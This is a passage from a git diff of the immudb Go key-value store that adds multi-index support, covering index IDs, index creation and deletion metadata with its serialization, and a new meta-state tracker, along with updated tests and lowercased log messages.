immuStore.FlushIndex(DefaultIndexID, -10, true) require.ErrorIs(t, err, tbtree.ErrIllegalArguments) - err = immuStore.FlushIndex(100, true) + err = immuStore.FlushIndex(DefaultIndexID, 100, true) require.NoError(t, err) t.Run("latest set value should be committed", func(t *testing.T) { @@ -1706,7 +1706,9 @@ func TestImmudbStoreCommitWith(t *testing.T) { hdr, err := immuStore.CommitWith(context.Background(), callback, true) require.NoError(t, err) - require.Equal(t, uint64(1), immuStore.IndexInfo()) + ts, err := immuStore.IndexInfo(DefaultIndexID) + require.NoError(t, err) + require.Equal(t, uint64(1), ts) _, err = immuStore.ReadValue(nil) require.ErrorIs(t, err, ErrIllegalArguments) @@ -1758,7 +1760,7 @@ func TestImmudbStoreHistoricalValues(t *testing.T) { require.Equal(t, uint64(i+1), txhdr.ID) } - err = immuStore.CompactIndex() + err = immuStore.CompactIndex(DefaultIndexID) require.NoError(t, err) var wg sync.WaitGroup @@ -1821,7 +1823,7 @@ func TestImmudbStoreCompactionFailureForRemoteStorage(t *testing.T) { defer immustoreClose(t, immuStore) - err = immuStore.CompactIndex() + err = immuStore.CompactIndex(DefaultIndexID) require.ErrorIs(t, err, ErrCompactionUnsupported) } @@ -5055,3 +5057,50 @@ func TestImmudbStore_ExportTxWithEmptyValues(t *testing.T) { _, err = st.ExportTx(hdr.ID, false, false, txholder) require.NoError(t, err) } + +func TestIndexingChanges(t *testing.T) { + st, err := Open(t.TempDir(), DefaultOptions()) + require.NoError(t, err) + require.NotNil(t, st) + + defer immustoreClose(t, st) + + tx1, err := st.NewWriteOnlyTx(context.Background()) + require.NoError(t, err) + + indexingChanges1 := make(map[int]IndexChange) + indexingChanges1[1] = &IndexCreationChange{} + indexingChanges1[2] = &IndexCreationChange{} + + tx1.WithMetadata(NewTxMetadata().WithIndexingChanges(indexingChanges1)) + + hdr1, err := tx1.Commit(context.Background()) + require.NoError(t, err) + + txPool, err := st.NewTxHolderPool(1, true) + require.NoError(t, err) + + txholder, err := txPool.Alloc() + require.NoError(t, err) + + defer txPool.Release(txholder) + + err = st.ReadTx(hdr1.ID, false, txholder) + require.NoError(t, err) + require.Empty(t, txholder.Entries()) + + require.Len(t, st.metaState.indexes, 2) + + tx2, err := st.NewWriteOnlyTx(context.Background()) + require.NoError(t, err) + + indexingChanges2 := make(map[int]IndexChange) + indexingChanges2[1] = &IndexDeletionChange{} + + tx2.WithMetadata(NewTxMetadata().WithIndexingChanges(indexingChanges2)) + + _, err = tx2.Commit(context.Background()) + require.NoError(t, err) + + require.Len(t, st.metaState.indexes, 1) +} diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 3b8a3ea664..cd6f277172 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -35,6 +35,8 @@ import ( ) type indexer struct { + id int + path string store *ImmuStore @@ -86,7 +88,7 @@ var ( }) ) -func newIndexer(path string, store *ImmuStore, opts *Options) (*indexer, error) { +func newIndexer(id int, path string, store *ImmuStore, opts *Options) (*indexer, error) { if store == nil { return nil, fmt.Errorf("%w: nil store", ErrIllegalArguments) } @@ -141,6 +143,7 @@ func newIndexer(path string, store *ImmuStore, opts *Options) (*indexer, error) } indexer := &indexer{ + id: id, store: store, tx: tx, maxBulkSize: opts.IndexOpts.MaxBulkSize, @@ -271,13 +274,13 @@ func (idx *indexer) CompactIndex() (err error) { idx.compactionMutex.Lock() defer idx.compactionMutex.Unlock() - idx.store.logger.Infof("Compacting index '%s'...", idx.store.path) + idx.store.logger.Infof("compacting index '%s'...", idx.store.path) defer func() { if err == nil { - idx.store.logger.Infof("Index '%s' sucessfully compacted", idx.store.path) + idx.store.logger.Infof("index '%s' sucessfully compacted", idx.store.path) } else if err == tbtree.ErrCompactionThresholdNotReached { - idx.store.logger.Infof("Compaction of index '%s' not needed: %v", idx.store.path, err) + idx.store.logger.Infof("compaction of index '%s' not needed: %v", idx.store.path, err) } else { idx.store.logger.Warningf("%v: while compacting index '%s'", err, idx.store.path) } @@ -316,7 +319,7 @@ func (idx *indexer) stop() { idx.stateCond.L.Unlock() idx.stateCond.Signal() - idx.store.notify(Info, true, "Indexing gracefully stopped at '%s'", idx.store.path) + idx.store.notify(Info, true, "indexing gracefully stopped at '%s'", idx.store.path) } func (idx *indexer) resume() { @@ -326,7 +329,7 @@ func (idx *indexer) resume() { go idx.doIndexing() idx.stateCond.L.Unlock() - idx.store.notify(Info, true, "Indexing in progress at '%s'", idx.store.path) + idx.store.notify(Info, true, "indexing in progress at '%s'", idx.store.path) } func (idx *indexer) restartIndex() error { @@ -387,7 +390,7 @@ func (idx *indexer) doIndexing() { return } if err != nil { - idx.store.logger.Errorf("Indexing failed at '%s' due to error: %v", idx.store.path, err) + idx.store.logger.Errorf("indexing failed at '%s' due to error: %v", idx.store.path, err) time.Sleep(60 * time.Second) } @@ -415,7 +418,7 @@ func (idx *indexer) doIndexing() { return } if err != nil { - idx.store.logger.Errorf("Indexing failed at '%s' due to error: %v", idx.store.path, err) + idx.store.logger.Errorf("indexing failed at '%s' due to error: %v", idx.store.path, err) time.Sleep(60 * time.Second) } } diff --git a/embedded/store/indexer_test.go b/embedded/store/indexer_test.go index 2e62c77543..cb150fc1cc 100644 --- a/embedded/store/indexer_test.go +++ b/embedded/store/indexer_test.go @@ -30,7 +30,7 @@ import ( ) func TestNewIndexerFailure(t *testing.T) { - indexer, err := newIndexer(t.TempDir(), nil, nil) + indexer, err := newIndexer(DefaultIndexID, t.TempDir(), nil, nil) require.Nil(t, indexer) require.ErrorIs(t, err, ErrIllegalArguments) } diff --git a/embedded/store/key_reader.go b/embedded/store/key_reader.go index 8264a0bb12..4ae3881d5c 100644 --- a/embedded/store/key_reader.go +++ b/embedded/store/key_reader.go @@ -206,7 +206,7 @@ type ValueRef interface { type valueRef struct { tx uint64 hc uint64 // version - hVal [32]byte + hVal [sha256.Size]byte vOff int64 valLen uint32 txmd *TxMetadata diff --git a/embedded/store/kv_metadata.go b/embedded/store/kv_metadata.go index 14d51fc367..790d514579 100644 --- a/embedded/store/kv_metadata.go +++ b/embedded/store/kv_metadata.go @@ -26,18 +26,24 @@ import ( var ErrNonExpirable = errors.New("non expirable") var ErrReadOnly = errors.New("read-only") +var ErrNonIndexable = errors.New("non-indexable") const ( deletedAttrCode attributeCode = 0 expiresAtAttrCode attributeCode = 1 nonIndexableAttrCode attributeCode = 2 + useIndexAttrCode attributeCode = 3 ) const deletedAttrSize = 0 const expiresAtAttrSize = tsSize const nonIndexableAttrSize = 0 +const useIndexAttrSize = indexIDSize -const maxKVMetadataLen = (attrCodeSize + deletedAttrSize) + (attrCodeSize + expiresAtAttrSize) + (attrCodeSize + nonIndexableAttrSize) +const maxKVMetadataLen = (attrCodeSize + deletedAttrSize) + + (attrCodeSize + expiresAtAttrSize) + + (attrCodeSize + nonIndexableAttrSize) + + (attrCodeSize + useIndexAttrSize) type KVMetadata struct { attributes map[attributeCode]attribute @@ -98,6 +104,30 @@ func (a *nonIndexableAttribute) deserialize(b []byte) (int, error) { return 0, nil } +type useIndexAttribute struct { + indexID int +} + +func (a *useIndexAttribute) code() attributeCode { + return useIndexAttrCode +} + +func (a *useIndexAttribute) serialize() []byte { + var b [indexIDSize]byte + binary.BigEndian.PutUint16(b[:], uint16(a.indexID)) + return b[:] +} + +func (a *useIndexAttribute) deserialize(b []byte) (int, error) { + if len(b) < indexIDSize { + return 0, ErrCorruptedData + } + + a.indexID = int(binary.BigEndian.Uint16(b)) + + return indexIDSize, nil +} + func NewKVMetadata() *KVMetadata { return &KVMetadata{ attributes: make(map[attributeCode]attribute), @@ -183,6 +213,8 @@ func (md *KVMetadata) AsNonIndexable(nonIndexable bool) error { return ErrReadOnly } + delete(md.attributes, useIndexAttrCode) + if !nonIndexable { delete(md.attributes, nonIndexableAttrCode) return nil @@ -201,10 +233,45 @@ func (md *KVMetadata) NonIndexable() bool { return ok } +func (md *KVMetadata) UseIndex(indexID int) error { + if md.readonly { + return ErrReadOnly + } + + if indexID > MaxIndexID { + return ErrMaxIndexIDExceeded + } + + delete(md.attributes, nonIndexableAttrCode) + + _, ok := md.attributes[useIndexAttrCode] + if !ok { + md.attributes[useIndexAttrCode] = &useIndexAttribute{ + indexID: indexID, + } + } + + return nil +} + +func (md *KVMetadata) Index() (int, error) { + _, ok := md.attributes[nonIndexableAttrCode] + if ok { + return 0, ErrNonIndexable + } + + useIndexAttr, ok := md.attributes[useIndexAttrCode] + if !ok { + return 0, nil + } + + return int(useIndexAttr.(*useIndexAttribute).indexID), nil +} + func (md *KVMetadata) Bytes() []byte { var b bytes.Buffer - for _, attrCode := range []attributeCode{deletedAttrCode, expiresAtAttrCode, nonIndexableAttrCode} { + for _, attrCode := range []attributeCode{deletedAttrCode, expiresAtAttrCode, nonIndexableAttrCode, useIndexAttrCode} { attr, ok := md.attributes[attrCode] if ok { b.WriteByte(byte(attr.code())) @@ -266,6 +333,10 @@ func newAttribute(attrCode attributeCode) (attribute, error) { { return &nonIndexableAttribute{}, nil } + case useIndexAttrCode: + { + return &useIndexAttribute{}, nil + } default: { return nil, fmt.Errorf("error reading metadata attributes: %w", ErrCorruptedData) diff --git a/embedded/store/kv_metadata_test.go b/embedded/store/kv_metadata_test.go index 10f30ee098..6352c2665c 100644 --- a/embedded/store/kv_metadata_test.go +++ b/embedded/store/kv_metadata_test.go @@ -37,6 +37,10 @@ func TestKVMetadata(t *testing.T) { require.False(t, md.IsExpirable()) require.False(t, md.NonIndexable()) + indexID, err := md.Index() + require.NoError(t, err) + require.Zero(t, indexID) + _, err = md.ExpirationTime() require.ErrorIs(t, err, ErrNonExpirable) @@ -61,6 +65,9 @@ func TestKVMetadata(t *testing.T) { err = desmd.AsNonIndexable(true) require.ErrorIs(t, err, ErrReadOnly) + + err = desmd.UseIndex(1) + require.ErrorIs(t, err, ErrReadOnly) }) desmd := NewKVMetadata() @@ -92,12 +99,22 @@ func TestKVMetadata(t *testing.T) { desmd.AsNonIndexable(false) require.False(t, desmd.NonIndexable()) + err = desmd.UseIndex(1) + require.NoError(t, err) + + indexID, err = desmd.Index() + require.NoError(t, err) + require.Equal(t, 1, indexID) + desmd.AsNonIndexable(true) require.True(t, desmd.NonIndexable()) + _, err = desmd.Index() + require.ErrorIs(t, err, ErrNonIndexable) + bs = desmd.Bytes() require.NotNil(t, bs) - require.Len(t, bs, maxKVMetadataLen) + require.LessOrEqual(t, len(bs), maxKVMetadataLen) err = desmd.unsafeReadFrom(bs) require.NoError(t, err) diff --git a/embedded/store/meta_state.go b/embedded/store/meta_state.go new file mode 100644 index 0000000000..9ad42de7c8 --- /dev/null +++ b/embedded/store/meta_state.go @@ -0,0 +1,141 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package store + +import ( + "errors" + "fmt" + + "github.com/codenotary/immudb/embedded/watchers" +) + +var ErrAlreadyRunning = errors.New("already running") +var ErrAlreadyStopped = errors.New("already stopped") + +type metaState struct { + truncatedUpToTxID uint64 + + indexes map[int]*indexSpec + + wHub *watchers.WatchersHub +} + +type indexSpec struct { + initialTxID uint64 + finalTxID uint64 + initialTs int64 + finalTs int64 +} + +type metaStateOptions struct { +} + +func openMetaState(path string, opts metaStateOptions) (*metaState, error) { + return &metaState{ + indexes: make(map[int]*indexSpec), + wHub: watchers.New(0, MaxIndexID), + }, nil +} + +func (m *metaState) rollbackUpTo(txID uint64) error { + m.indexes = make(map[int]*indexSpec) + + err := m.wHub.Close() + if err != nil { + return err + } + + m.wHub = watchers.New(0, MaxIndexID) + + return nil +} + +func (m *metaState) calculatedUpToTxID() uint64 { + doneUpToTxID, _, _ := m.wHub.Status() + return doneUpToTxID +} + +func (m *metaState) processTxHeader(hdr *TxHeader) error { + if hdr == nil { + return ErrIllegalArguments + } + + if m.calculatedUpToTxID() >= hdr.ID { + return fmt.Errorf("%w: transaction already processed", ErrIllegalArguments) + } + + if hdr.Metadata == nil { + m.wHub.DoneUpto(hdr.ID) + return nil + } + + truncatedUpToTxID, err := hdr.Metadata.GetTruncatedTxID() + if err == nil { + if m.truncatedUpToTxID > truncatedUpToTxID { + return ErrCorruptedData + } + + m.truncatedUpToTxID = truncatedUpToTxID + } else if !errors.Is(err, ErrTruncationInfoNotPresentInMetadata) { + return err + } + + indexingChanges := hdr.Metadata.GetIndexingChanges() + + if len(indexingChanges) > 0 { + for id, change := range indexingChanges { + _, indexAlreadyExists := m.indexes[id] + + if change.IsIndexDeletion() { + if !indexAlreadyExists { + return fmt.Errorf("%w: index does not exist", ErrCorruptedData) + } + + delete(m.indexes, id) + + continue + } + + if change.IsIndexCreation() { + if indexAlreadyExists { + return fmt.Errorf("%w: index already exists", ErrCorruptedData) + } + + c := change.(*IndexCreationChange) + + m.indexes[id] = &indexSpec{ + initialTxID: c.InitialTxID, + finalTxID: c.FinalTxID, + initialTs: c.InitialTs, + finalTs: c.FinalTs, + } + + continue + } + + return fmt.Errorf("%w: it may be due to an unsupported metadata change", ErrUnexpectedError) + } + } + + m.wHub.DoneUpto(hdr.ID) + + return nil +} + +func (m *metaState) close() error { + return m.wHub.Close() +} diff --git a/embedded/store/tx_metadata.go b/embedded/store/tx_metadata.go index 5497c4adb8..9adb68c836 100644 --- a/embedded/store/tx_metadata.go +++ b/embedded/store/tx_metadata.go @@ -20,19 +20,23 @@ import ( "bytes" "encoding/binary" "fmt" + "sort" ) // attributeCode is used to identify the attribute. const ( truncatedUptoTxAttrCode attributeCode = 0 + indexingChangesAttrCode attributeCode = 1 ) // attribute size is the size of the attribute in bytes. const ( truncatedUptoTxAttrSize = txIDSize + indexingChangesAttrSize = sszSize + MaxNumberOfIndexChangesPerTx*indexChangeSize ) -const maxTxMetadataLen = (attrCodeSize + truncatedUptoTxAttrSize) +const maxTxMetadataLen = (attrCodeSize + truncatedUptoTxAttrSize) + + (attrCodeSize + indexingChangesAttrSize) // truncatedUptoTxAttribute is used to identify that the transaction // stores the information up to which given transaction ID the @@ -63,12 +67,175 @@ func (a *truncatedUptoTxAttribute) deserialize(b []byte) (int, error) { return txIDSize, nil } +type indexingChangesAttribute struct { + changes map[int]IndexChange +} + +type IndexChange interface { + IsIndexDeletion() bool + IsIndexCreation() bool +} + +type IndexDeletionChange struct { +} + +func (c *IndexDeletionChange) IsIndexDeletion() bool { + return true +} + +func (c *IndexDeletionChange) IsIndexCreation() bool { + return false +} + +type IndexCreationChange struct { + InitialTxID uint64 + FinalTxID uint64 + InitialTs int64 + FinalTs int64 +} + +func (c *IndexCreationChange) IsIndexDeletion() bool { + return false +} + +func (c *IndexCreationChange) IsIndexCreation() bool { + return true +} + +const indexChangeSize = indexIDSize + 1 /* index change type */ + indexCreationSize // size of bigger change +const indexCreationSize = 2*txIDSize + 2*tsSize + +const indexDeletionChange = 0 +const indexCreationChange = 1 + +// code returns the attribute code. +func (a *indexingChangesAttribute) code() attributeCode { + return indexingChangesAttrCode +} + +// serialize returns the serialized attribute. +func (a *indexingChangesAttribute) serialize() []byte { + var b [indexingChangesAttrSize]byte + i := 0 + + binary.BigEndian.PutUint16(b[i:], uint16(len(a.changes))) + i += sszSize + + sortedIds := make([]int, len(a.changes)) + o := 0 + + for id := range a.changes { + sortedIds[o] = id + o++ + } + + sort.Ints(sortedIds) + + for _, id := range sortedIds { + change := a.changes[id] + + binary.BigEndian.PutUint16(b[i:], uint16(id)) + i += indexIDSize + + if change.IsIndexDeletion() { + b[i] = indexDeletionChange + i++ + } + if change.IsIndexCreation() { + b[i] = indexCreationChange + i++ + + c := change.(*IndexCreationChange) + + binary.BigEndian.PutUint64(b[i:], c.InitialTxID) + i += txIDSize + + binary.BigEndian.PutUint64(b[i:], c.FinalTxID) + i += txIDSize + + binary.BigEndian.PutUint64(b[i:], uint64(c.InitialTs)) + i += tsSize + + binary.BigEndian.PutUint64(b[i:], uint64(c.FinalTs)) + i += tsSize + } + } + + return b[:i] +} + +// deserialize deserializes the attribute. +func (a *indexingChangesAttribute) deserialize(b []byte) (int, error) { + n := 0 + + if len(b) < sszSize { + return n, ErrCorruptedData + } + + changesCount := int(binary.BigEndian.Uint16(b[n:])) + n += sszSize + + if changesCount > MaxNumberOfIndexChangesPerTx { + return n, ErrCorruptedData + } + + a.changes = make(map[int]IndexChange, changesCount) + + for i := 0; i < changesCount; i++ { + if len(b) < indexIDSize+1 { + return n, ErrCorruptedData + } + + indexID := int(binary.BigEndian.Uint16(b[n:])) + n += indexIDSize + + changeType := b[n] + n++ + + if changeType == indexDeletionChange { + a.changes[indexID] = &IndexDeletionChange{} + continue + } + + if changeType == indexCreationChange { + if len(b) < indexCreationSize { + return n, ErrCorruptedData + } + + change := &IndexCreationChange{} + + change.InitialTxID = binary.BigEndian.Uint64(b[n:]) + n += txIDSize + + change.FinalTxID = binary.BigEndian.Uint64(b[n:]) + n += txIDSize + + change.InitialTs = int64(binary.BigEndian.Uint64(b[n:])) + n += tsSize + + change.FinalTs = int64(binary.BigEndian.Uint64(b[n:])) + n += tsSize + + a.changes[indexID] = change + continue + } + + return n, ErrCorruptedData + } + + return n, nil +} + func getAttributeFrom(attrCode attributeCode) (attribute, error) { switch attrCode { case truncatedUptoTxAttrCode: { return &truncatedUptoTxAttribute{}, nil } + case indexingChangesAttrCode: + { + return &indexingChangesAttribute{}, nil + } default: { return nil, fmt.Errorf("error reading tx metadata attributes: %w", ErrCorruptedData) @@ -102,7 +269,7 @@ func (md *TxMetadata) Equal(amd *TxMetadata) bool { func (md *TxMetadata) Bytes() []byte { var b bytes.Buffer - for _, attrCode := range []attributeCode{truncatedUptoTxAttrCode} { + for _, attrCode := range []attributeCode{truncatedUptoTxAttrCode, indexingChangesAttrCode} { attr, ok := md.attributes[attrCode] if ok { b.WriteByte(byte(attr.code())) @@ -114,7 +281,7 @@ func (md *TxMetadata) Bytes() []byte { } func (md *TxMetadata) ReadFrom(b []byte) error { - if len(b) > maxKVMetadataLen { + if len(b) > maxTxMetadataLen { return ErrCorruptedData } @@ -141,7 +308,6 @@ func (md *TxMetadata) ReadFrom(b []byte) error { if err != nil { return fmt.Errorf("error reading tx metadata attributes: %w", err) } - i += n md.attributes[attr.code()] = attr @@ -162,7 +328,7 @@ func (md *TxMetadata) HasTruncatedTxID() bool { func (md *TxMetadata) GetTruncatedTxID() (uint64, error) { attr, ok := md.attributes[truncatedUptoTxAttrCode] if !ok { - return 0, ErrTxNotPresentInMetadata + return 0, ErrTruncationInfoNotPresentInMetadata } return attr.(*truncatedUptoTxAttribute).txID, nil @@ -182,3 +348,25 @@ func (md *TxMetadata) WithTruncatedTxID(txID uint64) *TxMetadata { attr.(*truncatedUptoTxAttribute).txID = txID return md } + +func (md *TxMetadata) WithIndexingChanges(indexingChanges map[int]IndexChange) *TxMetadata { + if len(indexingChanges) == 0 { + delete(md.attributes, indexingChangesAttrCode) + return md + } + + md.attributes[indexingChangesAttrCode] = &indexingChangesAttribute{ + changes: indexingChanges, + } + + return md +} + +func (md *TxMetadata) GetIndexingChanges() map[int]IndexChange { + attr, ok := md.attributes[indexingChangesAttrCode] + if !ok { + return nil + } + + return attr.(*indexingChangesAttribute).changes +} diff --git a/embedded/store/tx_metadata_test.go b/embedded/store/tx_metadata_test.go index 00f876c236..c8bd7d72d1 100644 --- a/embedded/store/tx_metadata_test.go +++ b/embedded/store/tx_metadata_test.go @@ -57,7 +57,7 @@ func TestTxMetadataWithAttributes(t *testing.T) { require.NoError(t, err) _, err = desmd.GetTruncatedTxID() - require.ErrorIs(t, err, ErrTxNotPresentInMetadata) + require.ErrorIs(t, err, ErrTruncationInfoNotPresentInMetadata) desmd.WithTruncatedTxID(1) require.True(t, desmd.HasTruncatedTxID()) @@ -73,11 +73,27 @@ func TestTxMetadataWithAttributes(t *testing.T) { require.False(t, desmd.IsEmpty()) + changes := desmd.GetIndexingChanges() + require.Nil(t, changes) + + specChanges := make(map[int]IndexChange) + desmd.WithIndexingChanges(specChanges) + changes = desmd.GetIndexingChanges() + require.Nil(t, changes) + + specChanges[1] = &IndexDeletionChange{} + specChanges[2] = &IndexCreationChange{} + + desmd.WithIndexingChanges(specChanges) + changes = desmd.GetIndexingChanges() + require.Len(t, changes, 2) + bs = desmd.Bytes() require.NotNil(t, bs) - require.Len(t, bs, maxTxMetadataLen) + require.Less(t, len(bs), maxTxMetadataLen) err = desmd.ReadFrom(bs) require.NoError(t, err) require.True(t, desmd.HasTruncatedTxID()) + require.Len(t, desmd.GetIndexingChanges(), 2) } diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 13183a3677..7572764be6 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -347,13 +347,13 @@ func Open(path string, opts *Options) (*TBtree, error) { snapPath := filepath.Join(path, cFolder) - opts.logger.Infof("Reading snapshots at '%s'...", snapPath) + opts.logger.Infof("reading snapshots at '%s'...", snapPath) appendableOpts.WithFileExt("n") appendableOpts.WithMaxOpenedFiles(opts.nodesLogMaxOpenedFiles) nLog, err := appFactory(path, nFolder, appendableOpts) if err != nil { - opts.logger.Infof("Skipping snapshots at '%s', reading node data returned: %v", snapPath, err) + opts.logger.Infof("skipping snapshots at '%s', reading node data returned: %v", snapPath, err) continue } @@ -362,7 +362,7 @@ func Open(path string, opts *Options) (*TBtree, error) { cLog, err := appFactory(path, cFolder, appendableOpts) if err != nil { nLog.Close() - opts.logger.Infof("Skipping snapshots at '%s', reading commit data returned: %v", snapPath, err) + opts.logger.Infof("skipping snapshots at '%s', reading commit data returned: %v", snapPath, err) continue } @@ -371,7 +371,7 @@ func Open(path string, opts *Options) (*TBtree, error) { cLogSize, err := cLog.Size() if err == nil && cLogSize < cLogEntrySize { - opts.logger.Infof("Skipping snapshots at '%s', reading commit data returned: %s", snapPath, "empty clog") + opts.logger.Infof("skipping snapshots at '%s', reading commit data returned: %s", snapPath, "empty clog") discardSnapshotsFolder = true } if err == nil && !discardSnapshotsFolder { @@ -379,7 +379,7 @@ func Open(path string, opts *Options) (*TBtree, error) { t, err = OpenWith(path, nLog, hLog, cLog, opts) } if err != nil { - opts.logger.Infof("Skipping snapshots at '%s', opening btree returned: %v", snapPath, err) + opts.logger.Infof("skipping snapshots at '%s', opening btree returned: %v", snapPath, err) discardSnapshotsFolder = true } @@ -389,18 +389,18 @@ func Open(path string, opts *Options) (*TBtree, error) { err = discardSnapshots(path, snapIDs[i-1:i], opts.logger) if err != nil { - opts.logger.Warningf("Discarding snapshots at '%s' returned: %v", path, err) + opts.logger.Warningf("discarding snapshots at '%s' returned: %v", path, err) } continue } - opts.logger.Infof("Successfully read snapshots at '%s'", snapPath) + opts.logger.Infof("successfully read snapshots at '%s'", snapPath) // Discard older snapshots upon successful validation err = discardSnapshots(path, snapIDs[:i-1], opts.logger) if err != nil { - opts.logger.Warningf("Discarding snapshots at '%s' returned: %v", path, err) + opts.logger.Warningf("discarding snapshots at '%s' returned: %v", path, err) } return t, nil @@ -453,7 +453,7 @@ func recoverFullSnapshots(path, prefix string, logger logger.Logger) (snapIDs [] id, err := strconv.ParseInt(strings.TrimPrefix(f.Name(), prefix), 10, 64) if err != nil { - logger.Warningf("Invalid folder found '%s', skipped during index selection", f.Name()) + logger.Warningf("invalid folder found '%s', skipped during index selection", f.Name()) continue } @@ -472,7 +472,7 @@ func discardSnapshots(path string, snapIDs []uint64, logger logger.Logger) error nPath := filepath.Join(path, nFolder) cPath := filepath.Join(path, cFolder) - logger.Infof("Discarding snapshots at '%s'...", cPath) + logger.Infof("discarding snapshots at '%s'...", cPath) err := os.RemoveAll(nPath) // TODO: nLog.Remove() if err != nil { @@ -484,7 +484,7 @@ func discardSnapshots(path string, snapIDs []uint64, logger logger.Logger) error return err } - logger.Infof("Snapshots at '%s' has been discarded", cPath) + logger.Infof("snapshots at '%s' has been discarded", cPath) } return nil @@ -619,7 +619,7 @@ func OpenWith(path string, nLog, hLog, cLog appendable.Appendable, opts *Options } if mustDiscard { - t.logger.Infof("Discarding snapshots due to %v at '%s'", err, path) + t.logger.Infof("discarding snapshots due to %v at '%s'", err, path) discardedCLogEntries += int(t.committedLogSize/cLogEntrySize) + 1 @@ -667,7 +667,7 @@ func OpenWith(path string, nLog, hLog, cLog appendable.Appendable, opts *Options return nil, fmt.Errorf("%w: while setting initial offset of commit log for index '%s'", err, path) } - opts.logger.Infof("Index '%s' {ts=%d, discarded_snapshots=%d} successfully loaded", path, t.Ts(), discardedCLogEntries) + opts.logger.Infof("index '%s' {ts=%d, discarded_snapshots=%d} successfully loaded", path, t.Ts(), discardedCLogEntries) return t, nil } @@ -1037,13 +1037,13 @@ func (t *TBtree) flushTree(cleanupPercentageHint float32, forceSync bool, forceC cleanupPercentage = 0 } - t.logger.Infof("Flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f, since_cleanup=%d} requested via %s...", + t.logger.Infof("flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f, since_cleanup=%d} requested via %s...", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, t.insertionCountSinceCleanup, src, ) if !t.root.mutated() && cleanupPercentage == 0 { - t.logger.Infof("Flushing not needed at '%s' {ts=%d, cleanup_percentage=%.2f}", t.path, t.root.ts(), cleanupPercentage) + t.logger.Infof("flushing not needed at '%s' {ts=%d, cleanup_percentage=%.2f}", t.path, t.root.ts(), cleanupPercentage) return 0, 0, nil } @@ -1085,19 +1085,19 @@ func (t *TBtree) flushTree(cleanupPercentageHint float32, forceSync bool, forceC _, actualNewMinOffset, wN, wH, err := snapshot.WriteTo(&appendableWriter{t.nLog}, &appendableWriter{t.hLog}, wopts) if err != nil { - return 0, 0, t.wrapNwarn("Flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", + return 0, 0, t.wrapNwarn("flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err) } err = t.hLog.Flush() if err != nil { - return 0, 0, t.wrapNwarn("Flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", + return 0, 0, t.wrapNwarn("flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err) } err = t.nLog.Flush() if err != nil { - return 0, 0, t.wrapNwarn("Flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", + return 0, 0, t.wrapNwarn("flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err) } @@ -1106,13 +1106,13 @@ func (t *TBtree) flushTree(cleanupPercentageHint float32, forceSync bool, forceC if sync { err = t.hLog.Sync() if err != nil { - return 0, 0, t.wrapNwarn("Syncing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", + return 0, 0, t.wrapNwarn("syncing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err) } err = t.nLog.Sync() if err != nil { - return 0, 0, t.wrapNwarn("Syncing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", + return 0, 0, t.wrapNwarn("syncing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err) } } @@ -1141,25 +1141,25 @@ func (t *TBtree) flushTree(cleanupPercentageHint float32, forceSync bool, forceC cLogEntry.nLogChecksum, err = appendable.Checksum(t.nLog, t.committedNLogSize, wN) if err != nil { - return 0, 0, t.wrapNwarn("Flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", + return 0, 0, t.wrapNwarn("flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err) } cLogEntry.hLogChecksum, err = appendable.Checksum(t.hLog, t.committedHLogSize, wH) if err != nil { - return 0, 0, t.wrapNwarn("Flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", + return 0, 0, t.wrapNwarn("flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err) } _, _, err = t.cLog.Append(cLogEntry.serialize()) if err != nil { - return 0, 0, t.wrapNwarn("Flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", + return 0, 0, t.wrapNwarn("flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err) } err = t.cLog.Flush() if err != nil { - return 0, 0, t.wrapNwarn("Flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", + return 0, 0, t.wrapNwarn("flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err) } @@ -1167,18 +1167,18 @@ func (t *TBtree) flushTree(cleanupPercentageHint float32, forceSync bool, forceC if cleanupPercentage != 0 { t.insertionCountSinceCleanup = 0 } - t.logger.Infof("Index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} successfully flushed", + t.logger.Infof("index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} successfully flushed", t.path, t.root.ts(), 